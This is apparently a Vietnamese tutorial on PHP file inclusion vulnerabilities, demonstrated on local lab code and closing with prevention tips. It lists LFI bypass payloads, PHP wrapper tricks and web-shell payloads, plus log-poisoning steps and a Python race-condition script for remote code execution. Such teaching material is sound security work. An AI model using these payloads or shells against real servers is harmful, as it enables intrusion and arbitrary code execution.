## LOCAL FILE INCLUSION
- Lỗ hổng Local File Inclusion cho phép kẻ tấn công truy cập trái phép vào những tập tin của máy chủ web hoặc thực thi các tệp độc hại bằng cách sử dụng chức năng gọi một file khác ví dụ như hàm` include` ,`require`,`include_once`,`require_once`,...
- lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không thực hiện tốt, khiến cho kẻ tấn công có thể khai thác và chèn các dữ liệu độc hại vào.
- Khi đầu vào không được kiểm tra, kẻ tấn công có thể đọc những file mặc định và truy cập đến chúng hoặc cũng có thể đọc những file ở thư mục khác bằng cách chèn các kí tự như `/`,`../` để di chuyển về thư mục cha.
**ví dụ**
```
<?php
$file = $_GET['file'];
if($file !== ""){
include($file);
}else{
include('index.php');
}
?>
```
**Nguyên lý hoạt động của hàm include**
Khi ta gọi hàm include, PHP sẽ đọc và thực thi nội dung của tệp được chỉ định. Nếu trong tệp include vào có mã PHP, mã đó cũng sẽ được thực thi tại thời điểm gọi hàm include.
Nội dung của tệp được thực thi xong sẽ được nhúng (embed) vào chính tại điểm mà hàm include được gọi trong mã nguồn.
- Sau khi biết cách hoạt động cảu hàm include thì việc biến `$file` không kiểm tra đầu vào mà sử dụng hàm `include` để lấy một file, điều này giúp ta có thể thay đổi biến `$file` thành một file hệ thống hoặc đầu một file ở thư mục nhạy cảm nào đó.
- URL trang web ban đầu.
`http://example.com/?file=index.php`
- sau khi thay đổi.
`http://example.com/?file=../../etc/passwd`
- khi thay đổi như thế này thì ta có thể đọc file `/etc/passwd`
#### Một số cách bypass
* **Null bypte(`%00`)**: chúng ta có thể sử dụng null byte để kết thức sớm một chuỗi những kí tự phía sau null byte(%00) sẽ được hiểu là rổng.
* ví dụ `$_GET['param'].".php"`
* ta có thể sử dụng null byte ở loại bỏ chuỗi `.php` ở phía sau và đọc file như `../../../etc/passwd%00`
* **Double encoding**:khi kí tự `.` bị lọc ta có thể sử dụng Double encoding để đánh lừa bộ lọc kí tự `.` khi encode `%2e` khi Double encoding sẽ thành `%252e` ta cũng có thể sử dụng tượng tự với kí tự `/`.
```
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
* **Filter bypass tricks**: dùng khi bị filter bằng cách replace các kí tự
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
```
* **Path and dot truncation**: Trên hầu hết các bản cài đặt PHP, tên tệp dài hơn 4096 byte sẽ bị cắt bỏ để mọi ký tự thừa sẽ bị loại bỏ.
```
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
```
* **Using Wrappers**
**Wrapper php://filter**:dùng dể gọi một file trong hệ thống mã hóa kết quả thành base64 hoặc rot13. Để đọc kết quả file thì ta chỉ cần decode.
```
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```
**Wrapper data://**: dùng để nhúng dữ liệu vào trang web.
```
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
**Wrapper expect://**: cho phép thực thi các lệnh hệ thống
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
**Wrapper input://**: thông qua method POST có thể thực các lệnh command.
`curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v`
**Wrapper zip://**: dùng để tải lên 1 file zip chứa shell và thực thi nó thường dùng cho trang web upload.
* Tạo một file shell:` echo "<?php system($_GET['cmd']); ?>" > payload.php;`
* Sau đó nén file shell: `zip payload.zip payload.php;`
* Đổi tên: `mv payload.zip shell.jpg;`
* upload lên và truy cập vào: ` http://example.com/index.php?page=zip://shell.jpg%23payload.php`
#### DEMO

* source:
```ph=
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>
```
* Ta thấy được tham số file được ta kiểm soát nhưng lại không có bất kỳ biện pháp kiểm soát dữ liệu mà lại dùng hàm `include` nên ở ở đây sẽ bị lỗi lfi.
* Vì giá trị của tham số file ta kiểm soát được nên ta có thể có `file=/etc/passwd` sau đó nội dung file `/etc/passwd` được hàm `include` lấy ra và ta sẽ được file này.

## REMOTE FILE INCLUSION
- REMOTE FILE INCLUSION: là kỹ thuật nhúng vào hệ thống một mã độc.Kẻ tấn công có thể chèn một file shell sau đó chạy file đó để thực hiện ý đồ. RFI còn cho phép tải lên một tệp nằm trên máy chủ khác được chuyển đến dưới dạng hàm PHP.
- Điều kiện để khai thác theo kiểu Remote File Inclusion là: Các biến allow_url_include và allow_url_fopen trong file PHP.ini của Apache Server phải bật ON.

#### DEMO
* Vì để khai thác bằng kỹ thuật này cầ yêu cầu allow_url_include và allow_url_fopen trong file php.ini phải bật `on` nên ta sẽ chỉnh lại cấu hình.

* sau khi chỉnh lại cấu hình thì ta sẽ vào demo để hiểu hơn về cách khai thác kiểu này.
* ta vẫn sẽ sử dụng source ở bài trước.
```ph=
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>
```
* Vì ta đã chỉnh lại cấu hình nên ta có thể nhúng một url với nội dung là một đoạn code php.
* Ở Đây em sử dụng trang [https://gist.github.com/](https://gist.github.com/) tạo một file php để gọi và nhúng vào.

* sau đó ta sẽ nhúng vào trang bị lỗi thì đoạn code php sẽ được thực file

* Vậy là đoạn code php đã được thực thi.Ngoài cách này ta cũng có thể sử dụng php wrapper để thực thi code php.
* Ta sẽ sử dụng `data://` để nhúng code php vào trang web.

## LFI TO RCE
### Via Log Poisoning
* Log Poisoning là một kỹ thuật cho phép kẻ tấn công giả mạo nội dung bằng cách chèn mã độc vào nhật ký máy chủ để thực thi lệnh từ xa hoặc để lấy một trình reverse shell .
* Trong Apache, File log của apache server nằm ở thư mục `/var/log/apache2` (đối với ubuntu) và ở `/var/log/httpd` (đối với centOs)
* Gồm hai tệp tin nhật kí:
* Access log (Nhật ký truy cập): chứa thông tin về tất cả các yêu cầu được gửi lên máy chủ
* Error log (Nhật ký thông báo lỗi): chứa thông báo lỗi của hệ thống
**Access log**
* File log được lưu trữ tại `/var/log/httpd/access_log` (hoặc `/var/log/apache2/access.log`)
* File này dùng để ghi lại những lần sử dụng, truy cập, yêu cầu đến apache server.

* Nếu ta đọc được file này thì ta có thể thay đổi headers `User-Agent` thành một đoạn code php và đoạn code sẽ được thi trong file
**Error log**
* Nơi lưu trữ file log là `/var/log/httpd/error_log` (đối với centOs) và `/var/log/apache2/error.log` (đối với ubuntu)
* Ở file này nó sẽ chứa các thông tin về lỗi máy chủ web gặp phải khi xử lý các yêu cầu.

* Với file này cũng tương tự với access log nếu ta đọc được file thì ta cũng có thể thay đổi nôi dung file để nó thực thi php.
**/proc/self/environ**
* Nếu đọc được file `/proc/self/environ`. Ta cũng có thể thay đổi headers `User-Agent` thành code php để nó thực thi code trong file `/proc/self/environ`.
**/proc/self/fd/1,2,3…**
* Với file này cũng tương tự các file trên.Tuy nhiên file này ta nó dùng header Refferer để viết code php.
#### DEMO

* source
```ph=
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>
```
* Vì ta có thể đọc được file log nên ta sẽ thay đổi header `User-Agent` thành code php và đoạn code sẽ thực thi trong file log.
* Vì vậy khi ta truy cập lại file log thì ta sẽ thấy được kết quả của đoạn code.
* Đâu tiên ta sẽ thay đổi `User-Agent`.

* Sau đó truy cập vào file `/var/log/apache2/access.log`

Kết quả đoạn code đã được thực thi.
### Session
* kỹ thuật này cho phép attacker thực thi mã độc thông qua các file session.
Để thực hiện được cách khai thác này thì cần có một vài cấu hình của php server, vì vậy sau đây là một số thiết lập trong file `php.ini`:
* `session.upload_progress.enabled = on`: Khi trình duyệt upload một file lên server thì php sẽ lưu thông tin của file này trong session.
* `session.upload_progress.cleanup = on `: Sau khi uplaod hoàn thành, session file sẽ ngay lập tức được xóa. Mặc định là `on`.
* `session.upload_progress.prefix = "upload_progress_"`:prefix dùng với upload progress key trong $SESSION. Key này sẽ được nối với giá trị của `session.upload_progress.name `để cho ra một index duy nhất. Giá trị mặc định của prefix là: “upload_progress”
* `session.auto_start=0`: Nếu là 1 thì php sẽ tự động khởi tạo session khi nhận request và không cần phải thực thi session_start()
* `session.use_strict_mode=0`:Ta có thể kiểm soát được sessionid trong cookie và server sẽ tạo session file tương ứng với nó “sess_sessid”
**Cách Session bắt đầu trong php?**
Để bắt đầu một session trong php thì ta cần dùng hàm `session_start()` hoặc thay đổi giá trị của `session.auto_start` thành `on` trong file php.ini Nhưng giá trị mặc định của nó sẽ là off.
Nếu website không bắt đầu một session ta có thể bypass bằng cách ta thêm `PHP_SESSION_UPLOAD_PROGRESS` trong multipart POST data, PHP sẽ enable session cho chúng ta.
* Vậy ta sẽ thử bypass.
* ta sẽ thêm `PHP_SESSION_UPLOAD_PROGRESS` khi thực hiện lệnh curl

* ta truy cập vào `/var/lib/php/sessions` để kiểm tra session đã dược lưu chưa

* vậy là đã bypass được.
**Cách Session file được lưu**
Các file này sẽ được lưu dựa trên `session.save_path` và giá trị này thường được thiết lập mặc định khác nhau trong các phiên bản của php có thể là `/tmp/sess_{sessionid}` hoặc `/var/lib/php/sessions/sess_{sessionid}`
**bypass session_upload_progress.cleanup=On**
Như ở trên thì thiết lập `session_upload_progress.cleanup=ON` là mặc định và nó sẽ xóa tất cả toàn bộ POST data nay khi hoàn thành việc đọc dữ liệu hay các file sẽ bị ngay lập tức.

* Để bypass trường hợp này ta sẽ thực hiện race condition hai command cùng một lúc.
* với command đầu tiên ta sẽ thực hiên lệnh này để liên tục POST data.
```php=
while true; do curl http://localhost/lfi.php -H 'Cookie: PHPSESSID=SiLvER' -F 'PHP_SESSION_UPLOAD_PROGRESS=Abusing PHP_SESSION_UPLOAD_PROGRESS' -F 'file=@/etc/hostname'; done
```

* với command thứ hai ta sẽ thực hiện liên tục lệnh cat để đọc file trước khi nội dung file bị xóa
`while true; do cat sess_SiLvER; done`

* vậy là ta đọc được file sess_SiLvER để rce ta chỉ cần thay đổi nội dung file `PHP_SESSION_UPLOAD_PROGRESS` thành code php.
#### DEMO
* source:
```php=
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>
```
* ta thấy không có hàm `session_start()` và trong file `php.ini` giá trị của `session.auto_start = 0` tức là Off nên session sẽ không được khởi tạo.

* Trong file php.ini giá trị của `session_upload_progress.cleanup=ON` nên nội dung các file session sẽ được xóa ngay khi đọc xong.
* Vì vậy ta sẽ áp dụng hai cách bypass ở trên mà ta đã phân tích
* Đầu tiên để bypass `session.auto_start = 0` ta sẽ thêm `PHP_SESSION_UPLOAD_PROGRESS` khi gửi dữ liệu và cho giá trị `Cookie: PHPSESSID=bao` khi đó file session sẽ được khởi tạo với tên `sess_bao`.
* và thực hiện race condition để đọc nội dung của file session.
```python=
import requests
import threading
payload = "<?php system('id');echo 1111 ?>"
url = "http://localhost/lfi.php"
res = requests.session()
def POST():
while True:
file={ "upload":('a.txt','aaaa', 'text/plain') }
data={ "PHP_SESSION_UPLOAD_PROGRESS":payload }
headers={ "Cookie":'PHPSESSID=bao'}
res.post(url,files=file,headers=headers,data=data)
def read_file():
while True:
event.wait()
read=res.get("http://localhost/lfi.php?file=/var/lib/php/sessions/sess_bao")
if '1111' in read.text:
print(read.text)
break
event=threading.Event()
event.set()
threading.Thread(target=POST,args=()).start()
threading.Thread(target=read_file,args=()).start()
```
* kết quả

* Vậy là ta đã rce được rồi
### pearcmd
https://hackmd.io/@chuongcd/pearcmd
## PHÒNG TRÁNH
* Xác thực đầu vào chặt hơn
* Không bao gồm các trình phân tách thư mục như "/"
* Sử dụng whitelist cho các file extension được cho phép
* Set allow_url_fopen và allow_url_include thành off để giới hạn việc có thể gọi các tệp tin từ xa
* Cập nhập phiên bản mới nhất
## NGUỒN THAM KHẢO
[https://clbuezzz.wordpress.com/2022/01/08/tu-lfi-den-rce/?fbclid=IwAR2DVdDZIgrBvKd8_Fxyr_KYRFXsA1PDPqC-x-pLOuUz1fLs1v3pEWPeCFs](https://clbuezzz.wordpress.com/2022/01/08/tu-lfi-den-rce/?fbclid=IwAR2DVdDZIgrBvKd8_Fxyr_KYRFXsA1PDPqC-x-pLOuUz1fLs1v3pEWPeCFs)
[https://to016.github.io/posts/PHPLFI2RCE/](https://to016.github.io/posts/PHPLFI2RCE/)
[https://book.hacktricks.xyz/pentesting-web/file-inclusion](https://book.hacktricks.xyz/pentesting-web/file-inclusion)
[https://viblo.asia/p/file-inclusion-vulnerability-exploit-4P856NMa5Y3](https://viblo.asia/p/file-inclusion-vulnerability-exploit-4P856NMa5Y3)